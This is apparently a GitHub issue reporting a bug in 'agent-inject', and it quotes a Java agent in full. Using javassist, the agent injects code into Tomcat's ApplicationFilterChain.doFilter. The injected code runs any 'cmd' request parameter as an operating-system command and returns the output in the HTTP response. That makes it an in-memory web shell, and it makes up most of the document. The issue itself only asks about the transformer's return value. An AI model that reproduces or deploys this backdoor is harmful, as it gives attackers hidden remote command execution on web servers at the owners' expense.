agent-inject/src/main/java/MyTransformer.java have a bug,please check #3

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
@OverRide
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(loader));
try {
CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
doFilter.insertBefore("{ " +
"String cmd = request.getParameter("cmd");\n" +
"if (cmd != null) {\n" +
" try {\n" +
" Process proc = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream in = proc.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" response.setContentType("text/html");\n" +
" String line;\n" +
" java.io.PrintWriter out = response.getWriter();\n" +
" while ((line = br.readLine()) != null) {\n" +
" out.println(line);\n" +
" out.flush();\n" +
" out.close();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" throw new RuntimeException(e);\n" +
" }\n" +
"}" +
" }");
return cc.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
// return ClassFileTransformer.super.transform(loader, className, classBeingRedefined, protectionDomain, classfileBuffer);
//error !!!!,change here
return null;

}

}